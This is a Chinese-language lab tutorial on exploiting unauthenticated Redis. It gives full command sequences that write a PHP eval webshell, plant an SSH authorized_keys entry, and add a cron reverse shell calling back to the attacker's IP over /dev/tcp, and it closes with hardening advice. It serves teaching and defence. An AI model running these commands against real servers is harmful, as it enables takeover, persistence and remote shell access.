Redis未授权访问详解——新手友好
字数 2858 2025-10-18 11:17:50
Redis未授权访问漏洞详解 - 教学文档
一、 漏洞概述
1.1 漏洞本质
Redis未授权访问漏洞并非一个传统的软件漏洞,而是一个典型的高危配置错误。由于Redis服务端在默认安装后没有设置访问密码,并且将服务绑定在公开的IP地址上,导致攻击者可以直接连接到Redis服务,并执行任意操作,最终实现获取服务器权限(GetShell)。
1.2 漏洞前提条件
- Redis服务绑定在非本地回环地址上(如
0.0.0.0),允许外部连接。 - Redis服务未设置访问密码(默认配置
requirepass为空)。 - 服务器防火墙未对Redis端口(默认6379)进行访问限制。
二、 Redis基础知识
2.1 Redis简介
Redis是一个开源的、基于内存的键值对存储数据库,常用作缓存、消息队列等,因其高性能而广泛应用。
2.2 关键命令(用于漏洞利用)
- 连接Redis:
redis-cli -h <目标IP> -p <端口> -a <密码> # 如有密码 redis-cli -h <目标IP> -p <端口> # 无密码直接连接 - 配置修改(核心):Redis支持运行时动态修改配置,重启后失效。
config set dir /path/to/dir:设置Redis持久化文件(RDB)的存储目录。config set dbfilename filename:设置持久化文件的文件名。
- 数据操作:
set key value:设置一个键值对。get key:获取键对应的值。flushall:删除所有数据。
- 数据持久化:
save:将当前内存中的数据同步保存到磁盘上的RDB文件中。
三、 环境搭建(复现准备)
3.1 所需机器
- 攻击机:Kali Linux (IP: 192.168.234.135)
- 靶机:任意Linux,文中使用Kali (IP: 192.168.234.143)
3.2 Redis服务端配置(靶机)
- 下载、解压、编译Redis(以6.0.9为例):
wget https://download.redis.io/releases/redis-6.0.9.tar.gz tar -xzf redis-6.0.9.tar.gz cd redis-6.0.9 make - 关键步骤:修改Redis配置文件
redis.conf(在源码根目录下):protected-mode yes改为protected-mode no(关闭保护模式)。- 注释掉
bind 127.0.0.1(允许非本地连接)。 daemonize no改为daemonize yes(以守护进程运行)。
- 启动Redis服务(必须使用绝对或相对路径,避免调用系统自带版本):
./src/redis-server ./redis.conf - 确保靶机防火墙开放6379端口或已关闭。
3.3 连接测试(攻击机)
./src/redis-cli -h 192.168.234.143 -p 6379
连接成功即表示环境搭建完成。
四、 漏洞复现详解
以下是三种主要的利用方式。
4.1 写入WebShell
-
原理:通过Redis向目标服务器的Web目录写入一个可执行的WebShell(如PHP马),然后通过蚁剑等工具连接,获得Web服务权限。
-
前提:已知目标Web服务器的绝对路径。
-
复现步骤:
- 连接靶机Redis。
- 设置RDB文件保存目录为Web目录(例如:
/var/www/html)。 - 设置RDB文件名为WebShell文件名(例如:
shell.php)。 - 写入WebShell内容。关键点:使用双引号包裹字符串以解释转义字符,并在Payload前后加入换行符
\n以确保代码纯净。 - 执行
save命令,将数据写入文件。
操作命令序列:
redis-cli -h 192.168.234.143 -p 6379 # 以下命令在Redis交互命令行中执行 192.168.234.143:6379> config set dir /var/www/html 192.168.234.143:6379> config set dbfilename shell.php 192.168.234.143:6379> set payload "\n\n<?php @eval($_POST['cmd']);?>\n\n" 192.168.234.143:6379> save- 访问
http://靶机IP/shell.php,使用蚁剑等工具连接即可GetShell。
4.2 SSH公钥登录
- 原理:将攻击机的SSH公钥写入目标服务器的
~/.ssh/authorized_keys文件中,从而实现无需密码的SSH登录。 - 前提:目标服务器开启了SSH服务,并且
/root/.ssh目录存在(如果不存在,需要先创建)。 - 复现步骤:
- 在攻击机上生成SSH密钥对:
生成的文件默认在ssh-keygen -t rsa # 或使用文中命令 ssh-keygen -t ed25519~/.ssh/下(id_rsa为私钥,id_rsa.pub为公钥)。 - 将公钥内容写入靶机Redis。关键点:公钥前后同样需要加入换行符,以避免与Redis存储的其他数据混淆。
- 方法一(推荐):使用管道命令一次性写入。
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") | redis-cli -h 192.168.234.143 -x set ssh_key - 方法二:复制公钥内容,在Redis中手动
set。
- 方法一(推荐):使用管道命令一次性写入。
- 连接靶机Redis,设置RDB文件路径和文件名。
redis-cli -h 192.168.234.143 -p 6379 192.168.234.143:6379> config set dir /root/.ssh/ 192.168.234.143:6379> config set dbfilename authorized_keys 192.168.234.143:6379> save - 从攻击机直接SSH登录靶机,无需密码:
ssh root@192.168.234.143
- 在攻击机上生成SSH密钥对:
4.3 计划任务反弹Shell
- 原理:利用Linux的cron计划任务功能,将一条反弹Shell的命令写入计划任务文件(
/var/spool/cron/root),让系统定时执行,从而让靶机主动连接攻击机。 - 前提:
- 目标系统必须是CentOS等RedHat系Linux。
- 原因:
- 语法严格性:Ubuntu的cron对任务行的语法要求更严格,Redis写入的文件可能包含版本信息等冗余内容,导致任务执行失败。
- 默认Shell:Ubuntu默认使用
dash而非bash,bash -i的反弹Shell命令可能不兼容。 - 文件权限:Ubuntu要求cron任务文件权限必须为600,而Redis写入的文件权限为644,会导致任务不被执行。
- 复现步骤:
- 在攻击机上开启Netcat监听:
nc -lvp 6677 - 连接靶机Redis,设置RDB文件路径和文件名为目标root用户的cron路径。
redis-cli -h 192.168.234.143 -p 6379 192.168.234.143:6379> config set dir /var/spool/cron/ 192.168.234.143:6379> config set dbfilename root - 写入计划任务Payload。任务格式为
* * * * * command,表示每分钟执行一次命令。
Payload解释:192.168.234.143:6379> set payload "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.234.135/6677 0>&1\n\n" 192.168.234.143:6379> savebash -i打开一个交互式Shell,>& /dev/tcp/攻击机IP/端口将标准输出和错误输出重定向到攻击机,0>&1将标准输入也重定向到该连接。 - 等待一分钟左右,观察攻击机的Netcat监听窗口,会接收到来自靶机的反弹Shell连接。
- 注意:反弹Shell的环境变量
PATH可能不完整,执行ip a、ifconfig等命令时建议使用绝对路径(如/usr/sbin/ifconfig)。
- 在攻击机上开启Netcat监听:
五、 漏洞修复建议
- 设置强密码:在Redis配置文件
redis.conf中修改requirepass选项,设置复杂密码。 - 限制绑定IP:如无必要,仅绑定本地回环地址
127.0.0.1。 - 修改默认端口:修改
redis.conf中的port选项,避免使用默认的6379端口。 - 网络层访问控制:通过防火墙(iptables, firewalld)限制只有可信IP才能访问Redis端口。
- 以低权限用户运行Redis:避免使用root用户运行Redis服务,降低被利用后的影响。
- 禁用高危命令:在配置文件中使用
rename-command配置项重命名或禁用FLUSHALL、CONFIG、EVAL等危险命令。例如:rename-command CONFIG "" rename-command FLUSHALL ""
这份文档已经尽可能详尽地提取了原文中的所有关键技术细节、操作步骤和注意事项,特别是加粗强调了复现过程中的关键点和易错点,希望对您的学习有所帮助。